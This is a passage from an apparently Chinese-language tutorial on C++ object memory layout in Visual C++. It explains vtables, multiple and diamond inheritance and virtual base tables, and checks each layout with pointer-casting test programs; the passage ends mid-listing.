&lt;p&gt;在表格驱动对象模型中，我们可以为子类对象增加第三个指针：基类指针(bptr)，基类指针指向指向一个基类表(base class table),同样的，由于间接性导致了空间和存取时间上的额外负担，优点则是无须改变子类对象本身就可以更改基类。表格驱动模型的图就不再贴出来了。&lt;&#x2F;p&gt;
&lt;p&gt;在C++对象模型中，对于一般继承（这个一般是相对于虚拟继承而言），若子类重写（overwrite）了父类的虚函数，则子类虚函数将覆盖虚表中对应的父类虚函数(&lt;strong&gt;注意子类与父类拥有各自的一个虚函数表&lt;&#x2F;strong&gt;)；若子类并无overwrite父类虚函数，而是声明了自己新的虚函数，则该虚函数地址将扩充到虚函数表最后（在vs中无法通过监视看到扩充的结果，不过我们通过取地址的方法可以做到，子类新的虚函数确实在父类子物体的虚函数表末端）。而对于虚继承，若子类overwrite父类虚函数，同样地将覆盖父类子物体中的虚函数表对应位置，而若子类声明了自己新的虚函数，则编译器将为子类增加一个新的虚表指针vptr，这与一般继承不同,在后面再讨论。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-single-inheritance-vtable.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们使用代码来验证以上模型&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;typedef void(*Fun)(void);

int main()
{
    Derive d(2000);
    &amp;#x2F;&amp;#x2F;[0]
    cout &amp;lt;&amp;lt; &amp;quot;[0]Base::vptr&amp;quot;;
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) &amp;lt;&amp;lt; endl;
        &amp;#x2F;&amp;#x2F;vprt[0]
        cout &amp;lt;&amp;lt; &amp;quot;  [0]&amp;quot;;
        Fun fun1 = (Fun)*((int *)*((int *)(&amp;amp;d)));
        fun1();
        cout &amp;lt;&amp;lt; &amp;quot;\t地址:\t&amp;quot; &amp;lt;&amp;lt; *((int *)*((int *)(&amp;amp;d))) &amp;lt;&amp;lt; endl;

        &amp;#x2F;&amp;#x2F;vprt[1]析构函数无法通过地址调用，故手动输出
        cout &amp;lt;&amp;lt; &amp;quot;  [1]&amp;quot; &amp;lt;&amp;lt; &amp;quot;Derive::~Derive&amp;quot; &amp;lt;&amp;lt; endl;

        &amp;#x2F;&amp;#x2F;vprt[2]
        cout &amp;lt;&amp;lt; &amp;quot;  [2]&amp;quot;;
        Fun fun2 = (Fun)*((int *)*((int *)(&amp;amp;d)) + 2);
        fun2();
        cout &amp;lt;&amp;lt; &amp;quot;\t地址:\t&amp;quot; &amp;lt;&amp;lt; *((int *)*((int *)(&amp;amp;d)) + 2) &amp;lt;&amp;lt; endl;
    &amp;#x2F;&amp;#x2F;[1]
    cout &amp;lt;&amp;lt; &amp;quot;[2]Base::baseI=&amp;quot; &amp;lt;&amp;lt; *(int*)((int *)(&amp;amp;d) + 1);
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) + 1;
    cout &amp;lt;&amp;lt; endl;
    &amp;#x2F;&amp;#x2F;[2]
    cout &amp;lt;&amp;lt; &amp;quot;[2]Derive::DeriveI=&amp;quot; &amp;lt;&amp;lt; *(int*)((int *)(&amp;amp;d) + 2);
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) + 2;
    cout &amp;lt;&amp;lt; endl;
    getchar();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;single-inheritance-output.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这个结果与我们的对象模型符合。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-duo-ji-cheng&quot;&gt;5.2.多继承&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;5-2-1yi-ban-de-duo-zhong-ji-cheng-fei-ling-xing-ji-cheng&quot;&gt;5.2.1一般的多重继承（非菱形继承）&lt;&#x2F;h4&gt;
&lt;p&gt;单继承中（一般继承），子类会扩展父类的虚函数表。在多继承中，子类含有多个父类的子对象，该往哪个父类的虚函数表扩展呢？当子类overwrite了父类的函数，需要覆盖多个父类的虚函数表吗？&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;子类的虚函数被放在声明的第一个基类的虚函数表中。&lt;&#x2F;li&gt;
&lt;li&gt;overwrite时，所有基类的print()函数都被子类的print()函数覆盖。&lt;&#x2F;li&gt;
&lt;li&gt;内存布局中，父类按照其声明顺序排列。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其中第二点保证了父类指针指向子类对象时，总是能够调用到真正的函数。&lt;&#x2F;p&gt;
&lt;p&gt;为了方便查看，我们把代码都粘贴过来&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;class Base
{
public:

    Base(int i) :baseI(i){};
    virtual ~Base(){}

    int getI(){ return baseI; }

    static void countI(){};

    virtual void print(void){ cout &amp;lt;&amp;lt; &amp;quot;Base::print()&amp;quot;; }

private:

    int baseI;

    static int baseS;
};
class Base_2
{
public:
    Base_2(int i) :base2I(i){};

    virtual ~Base_2(){}

    int getI(){ return base2I; }

    static void countI(){};

    virtual void print(void){ cout &amp;lt;&amp;lt; &amp;quot;Base_2::print()&amp;quot;; }

private:

    int base2I;

    static int base2S;
};

class Drive_multyBase :public Base, public Base_2
{
public:

    Drive_multyBase(int d) :Base(1000), Base_2(2000) ,Drive_multyBaseI(d){};

    virtual void print(void){ cout &amp;lt;&amp;lt; &amp;quot;Drive_multyBase::print&amp;quot; ; }

    virtual void Drive_print(){ cout &amp;lt;&amp;lt; &amp;quot;Drive_multyBase::Drive_print&amp;quot; ; }

private:
    int Drive_multyBaseI;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;继承类图为：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-multiple-inheritance-diagram.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;此时Drive_multyBase 的对象模型是这样的：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;multiple-inheritance-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们使用代码验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;typedef void(*Fun)(void);

int main()
{
    Drive_multyBase d(3000);
    &amp;#x2F;&amp;#x2F;[0]
    cout &amp;lt;&amp;lt; &amp;quot;[0]Base::vptr&amp;quot;;
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) &amp;lt;&amp;lt; endl;

        &amp;#x2F;&amp;#x2F;vprt[0]析构函数无法通过地址调用，故手动输出
        cout &amp;lt;&amp;lt; &amp;quot;  [0]&amp;quot; &amp;lt;&amp;lt; &amp;quot;Derive::~Derive&amp;quot; &amp;lt;&amp;lt; endl;

        &amp;#x2F;&amp;#x2F;vprt[1]
        cout &amp;lt;&amp;lt; &amp;quot;  [1]&amp;quot;;
        Fun fun1 = (Fun)*((int *)*((int *)(&amp;amp;d))+1);
        fun1();
        cout &amp;lt;&amp;lt; &amp;quot;\t地址:\t&amp;quot; &amp;lt;&amp;lt; *((int *)*((int *)(&amp;amp;d))+1) &amp;lt;&amp;lt; endl;

        &amp;#x2F;&amp;#x2F;vprt[2]
        cout &amp;lt;&amp;lt; &amp;quot;  [2]&amp;quot;;
        Fun fun2 = (Fun)*((int *)*((int *)(&amp;amp;d)) + 2);
        fun2();
        cout &amp;lt;&amp;lt; &amp;quot;\t地址:\t&amp;quot; &amp;lt;&amp;lt; *((int *)*((int *)(&amp;amp;d)) + 2) &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;[1]
    cout &amp;lt;&amp;lt; &amp;quot;[1]Base::baseI=&amp;quot; &amp;lt;&amp;lt; *(int*)((int *)(&amp;amp;d) + 1);
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) + 1;
    cout &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;[2]
    cout &amp;lt;&amp;lt; &amp;quot;[2]Base_::vptr&amp;quot;;
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d)+2 &amp;lt;&amp;lt; endl;

        &amp;#x2F;&amp;#x2F;vprt[0]析构函数无法通过地址调用，故手动输出
        cout &amp;lt;&amp;lt; &amp;quot;  [0]&amp;quot; &amp;lt;&amp;lt; &amp;quot;Drive_multyBase::~Derive&amp;quot; &amp;lt;&amp;lt; endl;

        &amp;#x2F;&amp;#x2F;vprt[1]
        cout &amp;lt;&amp;lt; &amp;quot;  [1]&amp;quot;;
        Fun fun4 = (Fun)*((int *)*((int *)(&amp;amp;d))+1);
        fun4();
        cout &amp;lt;&amp;lt; &amp;quot;\t地址:\t&amp;quot; &amp;lt;&amp;lt; *((int *)*((int *)(&amp;amp;d))+1) &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;[3]
    cout &amp;lt;&amp;lt; &amp;quot;[3]Base_2::base2I=&amp;quot; &amp;lt;&amp;lt; *(int*)((int *)(&amp;amp;d) + 3);
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) + 3;
    cout &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;[4]
    cout &amp;lt;&amp;lt; &amp;quot;[4]Drive_multyBase::Drive_multyBaseI=&amp;quot; &amp;lt;&amp;lt; *(int*)((int *)(&amp;amp;d) + 4);
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) + 4;
    cout &amp;lt;&amp;lt; endl;

    getchar();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-multi-inheritance-output.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-2-2-ling-xing-ji-cheng&quot;&gt;5.2.2 菱形继承&lt;&#x2F;h4&gt;
&lt;p&gt;菱形继承也称为钻石型继承或重复继承，它指的是基类被某个派生类简单重复继承了多次。这样，派生类对象中拥有多份基类实例（这会带来一些问题）。为了方便叙述，我们不使用上面的代码了，而重新写一个重复继承的继承层次：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-diamond-inheritance-example.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;class B

{

public:

    int ib;

public:

    B(int i=1) :ib(i){}

    virtual void f() { cout &amp;lt;&amp;lt; &amp;quot;B::f()&amp;quot; &amp;lt;&amp;lt; endl; }

    virtual void Bf() { cout &amp;lt;&amp;lt; &amp;quot;B::Bf()&amp;quot; &amp;lt;&amp;lt; endl; }

};

class B1 : public B

{

public:

    int ib1;

public:

    B1(int i = 100 ) :ib1(i) {}

    virtual void f() { cout &amp;lt;&amp;lt; &amp;quot;B1::f()&amp;quot; &amp;lt;&amp;lt; endl; }

    virtual void f1() { cout &amp;lt;&amp;lt; &amp;quot;B1::f1()&amp;quot; &amp;lt;&amp;lt; endl; }

    virtual void Bf1() { cout &amp;lt;&amp;lt; &amp;quot;B1::Bf1()&amp;quot; &amp;lt;&amp;lt; endl; }

};

class B2 : public B

{

public:

    int ib2;

public:

    B2(int i = 1000) :ib2(i) {}

    virtual void f() { cout &amp;lt;&amp;lt; &amp;quot;B2::f()&amp;quot; &amp;lt;&amp;lt; endl; }

    virtual void f2() { cout &amp;lt;&amp;lt; &amp;quot;B2::f2()&amp;quot; &amp;lt;&amp;lt; endl; }

    virtual void Bf2() { cout &amp;lt;&amp;lt; &amp;quot;B2::Bf2()&amp;quot; &amp;lt;&amp;lt; endl; }

};

class D : public B1, public B2

{

public:

    int id;

public:

    D(int i= 10000) :id(i){}

    virtual void f() { cout &amp;lt;&amp;lt; &amp;quot;D::f()&amp;quot; &amp;lt;&amp;lt; endl; }

    virtual void f1() { cout &amp;lt;&amp;lt; &amp;quot;D::f1()&amp;quot; &amp;lt;&amp;lt; endl; }

    virtual void f2() { cout &amp;lt;&amp;lt; &amp;quot;D::f2()&amp;quot; &amp;lt;&amp;lt; endl; }

    virtual void Df() { cout &amp;lt;&amp;lt; &amp;quot;D::Df()&amp;quot; &amp;lt;&amp;lt; endl; }

};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这时，根据单继承，我们可以分析出B1，B2类继承于B类时的内存布局。又根据一般多继承，我们可以分析出D类的内存布局。我们可以得出D类子对象的内存布局如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;diamond-inheritance-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;D类对象内存布局中，图中青色表示b1类子对象实例，黄色表示b2类子对象实例，灰色表示D类子对象实例。从图中可以看到，由于D类间接继承了B类两次，导致D类对象中含有两个B类的数据成员ib，一个属于来源B1类，一个来源B2类。这样不仅增大了空间，更重要的是引起了程序歧义：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;D d;

d.ib =1 ;               &amp;#x2F;&amp;#x2F;二义性错误,调用的是B1的ib还是B2的ib？

d.B1::ib = 1;           &amp;#x2F;&amp;#x2F;正确

d.B2::ib = 1;           &amp;#x2F;&amp;#x2F;正确
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;尽管我们可以通过明确指明调用路径以消除二义性，但二义性的潜在性还没有消除，我们可以通过虚继承来使D类只拥有一个ib实体。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-xu-ji-cheng&quot;&gt;6.虚继承&lt;&#x2F;h2&gt;
&lt;p&gt;虚继承解决了菱形继承中最派生类拥有多个间接父类实例的情况。虚继承的派生类的内存布局与普通继承很多不同，主要体现在：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;虚继承的子类，如果本身定义了新的虚函数，则编译器为其生成一个虚函数指针（vptr）以及一张虚函数表。该vptr位于对象内存最前面。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;vs非虚继承：直接扩展父类虚函数表。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;虚继承的子类也单独保留了父类的vprt与虚函数表。这部分内容接与子类内容以一个四字节的0来分界。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;虚继承的子类对象中，含有四字节的虚表指针偏移值。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;为了分析最后的菱形继承，我们还是先从单虚继承继承开始。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-1-xu-ji-lei-biao-jie-xi&quot;&gt;6.1.虚基类表解析&lt;&#x2F;h3&gt;
&lt;p&gt;在C++对象模型中，虚继承而来的子类会生成一个隐藏的虚基类指针（vbptr），在Microsoft Visual C++中，&lt;strong&gt;虚基类表指针总是在虚函数表指针之后&lt;&#x2F;strong&gt;，因而，对某个类实例来说，如果它有虚基类指针，那么虚基类指针可能在实例的0字节偏移处（该类没有vptr时，vbptr就处于类实例内存布局的最前面，否则vptr处于类实例内存布局的最前面），也可能在类实例的4字节偏移处。  一个类的虚基类指针指向的虚基类表，与虚函数表一样，虚基类表也由多个条目组成，条目中存放的是&lt;strong&gt;偏移值&lt;&#x2F;strong&gt;。第一个条目存放虚基类表指针（vbptr）所在地址到该类内存首地址的偏移值，由第一段的分析我们知道，这个偏移值为0（类没有vptr）或者-4（类有虚函数，此时有vptr）。我们通过一张图来更好地理解。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;virtual-base-table-offsets.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;virtual-base-table-offsets-2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;虚基类表的第二、第三...个条目依次为该类的最左虚继承父类、次左虚继承父类...的内存地址相对于虚基类表指针的偏移值，这点我们在下面会验证。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-2-jian-dan-xu-ji-cheng&quot;&gt;6.2.简单虚继承&lt;&#x2F;h3&gt;
&lt;p&gt;如果我们的B1类虚继承于B类：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&amp;#x2F;&amp;#x2F;类的内容与前面相同
class B{...}
class B1 : virtual public B
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;b1-virtual-inheritance-model.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;根据我们前面对虚继承的派生类的内存布局的分析，B1类的对象模型应该是这样的：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;b1-virtual-inheritance-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们通过指针访问B1类对象的内存，以验证上面的C++对象模型：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;int main()
{
B1 a;
    cout &amp;lt;&amp;lt;&amp;quot;B1对象内存大小为：&amp;quot;&amp;lt;&amp;lt; sizeof(a) &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;取得B1的虚函数表
    cout &amp;lt;&amp;lt; &amp;quot;[0]B1::vptr&amp;quot;;
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;a)&amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;输出虚表B1::vptr中的函数
    for (int i = 0; i&amp;lt;2;++ i)
    {
        cout &amp;lt;&amp;lt; &amp;quot;  [&amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot;]&amp;quot;;
        Fun fun1 = (Fun)*((int *)*(int *)(&amp;amp;a) + i);
        fun1();
        cout &amp;lt;&amp;lt; &amp;quot;\t地址：\t&amp;quot; &amp;lt;&amp;lt; *((int *)*(int *)(&amp;amp;a) + i) &amp;lt;&amp;lt; endl;
    }

    &amp;#x2F;&amp;#x2F;[1]
    cout &amp;lt;&amp;lt; &amp;quot;[1]vbptr &amp;quot;  ;
    cout&amp;lt;&amp;lt;&amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;a) + 1&amp;lt;&amp;lt;endl;  &amp;#x2F;&amp;#x2F;虚表指针的地址
    &amp;#x2F;&amp;#x2F;输出虚基类指针条目所指的内容
    for (int i = 0; i &amp;lt; 2; i++)
    {
        cout &amp;lt;&amp;lt; &amp;quot;  [&amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot;]&amp;quot;;

        cout &amp;lt;&amp;lt; *(int *)((int *)*((int *)(&amp;amp;a) + 1) + i);

        cout &amp;lt;&amp;lt; endl;
    }

    &amp;#x2F;&amp;#x2F;[2]
    cout &amp;lt;&amp;lt; &amp;quot;[2]B1::ib1=&amp;quot; &amp;lt;&amp;lt; *(int*)((int *)(&amp;amp;a) + 2);
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;a) + 2;
    cout &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;[3]
    cout &amp;lt;&amp;lt; &amp;quot;[3]值=&amp;quot; &amp;lt;&amp;lt; *(int*)((int *)(&amp;amp;a) + 3);
    cout &amp;lt;&amp;lt; &amp;quot;\t\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;a) + 3;
    cout &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;[4]
    cout &amp;lt;&amp;lt; &amp;quot;[4]B::vptr&amp;quot;;
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;a) +3&amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;输出B::vptr中的虚函数
    for (int i = 0; i&amp;lt;2; ++i)
    {
        cout &amp;lt;&amp;lt; &amp;quot;  [&amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot;]&amp;quot;;
        Fun fun1 = (Fun)*((int *)*((int *)(&amp;amp;a) + 4) + i);
        fun1();
        cout &amp;lt;&amp;lt; &amp;quot;\t地址:\t&amp;quot; &amp;lt;&amp;lt; *((int *)*((int *)(&amp;amp;a) + 4) + i) &amp;lt;&amp;lt; endl;
    }

    &amp;#x2F;&amp;#x2F;[5]
    cout &amp;lt;&amp;lt; &amp;quot;[5]B::ib=&amp;quot; &amp;lt;&amp;lt; *(int*)((int *)(&amp;amp;a) + 5);
    cout &amp;lt;&amp;lt; &amp;quot;\t地址: &amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;a) + 5;
    cout &amp;lt;&amp;lt; endl;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-virtual-inheritance-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这个结果与我们的C++对象模型图完全符合。这时我们可以来分析一下虚表指针的第二个条目值&lt;strong&gt;12&lt;&#x2F;strong&gt;的具体来源了，回忆上文讲到的：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;第二、第三...个条目依次为该类的最左虚继承父类、次左虚继承父类...的内存地址相对于虚基类表指针的偏移值。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;在我们的例子中，也就是B类实例内存地址相对于vbptr的偏移值，也即是：[4]-[1]的偏移值，结果即为12，从地址上也可以计算出来：007CFDFC-007CFDF4结果的十进制数正是12。现在，我们对虚基类表的构成应该有了一个更好的理解。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-3-xu-ni-ling-xing-ji-cheng&quot;&gt;6.3.虚拟菱形继承&lt;&#x2F;h3&gt;
&lt;p&gt;如果我们有如下继承层次：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;class B{...}
class B1: virtual public  B{...}
class B2: virtual public  B{...}
class D : public B1,public B2{...}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;类图如下所示：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-virtual-diamond-inheritance-2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;菱形虚拟继承下，最派生类D类的对象模型又有不同的构成了。在D类对象的内存构成上，有以下几点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在D类对象内存中，基类出现的顺序是：先是B1（最左父类），然后是B2（次左父类），最后是B（虚祖父类）&lt;&#x2F;li&gt;
&lt;li&gt;D类对象的数据成员id放在B类前面，两部分数据依旧以0来分隔。&lt;&#x2F;li&gt;
&lt;li&gt;编译器没有为D类生成一个它自己的vptr，而是覆盖并扩展了最左父类的虚基类表，与简单继承的对象模型相同。&lt;&#x2F;li&gt;
&lt;li&gt;超类B的内容放到了D类对象内存布局的最后。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;菱形虚拟继承下的C++对象模型为：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-object-layout&#x2F;cpp-virtual-diamond-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;下面使用代码加以验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;int main()
{
    D d;
    cout &amp;lt;&amp;lt; &amp;quot;D对象内存大小为：&amp;quot; &amp;lt;&amp;lt; sizeof(d) &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;取得B1的虚函数表
    cout &amp;lt;&amp;lt; &amp;quot;[0]B1::vptr&amp;quot;;
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;输出虚表B1::vptr中的函数
    for (int i = 0; i&amp;lt;3; ++i)
    {
        cout &amp;lt;&amp;lt; &amp;quot;  [&amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot;]&amp;quot;;
        Fun fun1 = (Fun)*((int *)*(int *)(&amp;amp;d) + i);
        fun1();
        cout &amp;lt;&amp;lt; &amp;quot;\t地址：\t&amp;quot; &amp;lt;&amp;lt; *((int *)*(int *)(&amp;amp;d) + i) &amp;lt;&amp;lt; endl;
    }

    &amp;#x2F;&amp;#x2F;[1]
    cout &amp;lt;&amp;lt; &amp;quot;[1]B1::vbptr &amp;quot;;
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) + 1 &amp;lt;&amp;lt; endl;  &amp;#x2F;&amp;#x2F;虚表指针的地址
    &amp;#x2F;&amp;#x2F;输出虚基类指针条目所指的内容
    for (int i = 0; i &amp;lt; 2; i++)
    {
        cout &amp;lt;&amp;lt; &amp;quot;  [&amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot;]&amp;quot;;

        cout &amp;lt;&amp;lt; *(int *)((int *)*((int *)(&amp;amp;d) + 1) + i);

        cout &amp;lt;&amp;lt; endl;
    }

    &amp;#x2F;&amp;#x2F;[2]
    cout &amp;lt;&amp;lt; &amp;quot;[2]B1::ib1=&amp;quot; &amp;lt;&amp;lt; *(int*)((int *)(&amp;amp;d) + 2);
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) + 2;
    cout &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;[3]
    cout &amp;lt;&amp;lt; &amp;quot;[3]B2::vptr&amp;quot;;
    cout &amp;lt;&amp;lt; &amp;quot;\t地址：&amp;quot; &amp;lt;&amp;lt; (int *)(&amp;amp;d) + 3 &amp;lt;&amp;lt; endl;

    &amp;#x2F;&amp;#x2F;输出B2::vptr中的虚函数
    for (int i = 0; i&amp;lt;2; ++i)
    {
        cout &amp;lt;&amp;lt; &amp;quot;  [&amp;quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;quot;]&amp;quot;;
        Fun fun1 = (Fun)*((int *)*((int *)(&amp;amp;d) + 3) + i);
        fun1();
        cout &amp;lt;&amp;lt; &amp;quot;\t地址:\t&amp;quot; &amp;lt;&amp;lt; *((int *)*((int *)(&amp;amp;d) + 3) + i) &amp;lt;&amp;lt; endl;
    }

    &amp;#x2F;&amp;#x2F;[4]
    cout &amp;lt;&amp;lt; &amp;quot;[4]B2::vbptr &amp;quot;;
